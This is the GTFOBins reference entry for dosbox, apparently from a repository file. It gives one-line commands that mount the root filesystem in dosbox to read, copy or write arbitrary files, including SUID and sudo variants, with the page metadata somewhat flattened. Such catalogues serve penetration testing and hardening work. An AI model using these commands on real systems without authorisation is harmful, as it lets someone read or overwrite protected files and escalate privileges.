GTFOBins.github.io/_gtfobins/dosbox.md
2022-07-02 16:23:10 +02:00

1.9 KiB

description functions
Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
file-read file-write suid sudo
description code
The file content will be displayed in the DOSBox graphical window. LFILE='\path\to\file_to_read' dosbox -c 'mount c /' -c "type c:$LFILE"
description code
The file is copied to a readable location. LFILE='\path\to\file_to_read' dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit cat '/tmp/OUTPUT'
description code
Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. LFILE='\path\to\file_to_write' dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
description code
Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. LFILE='\path\to\file_to_write' ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
description code
Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. LFILE='\path\to\file_to_write' sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit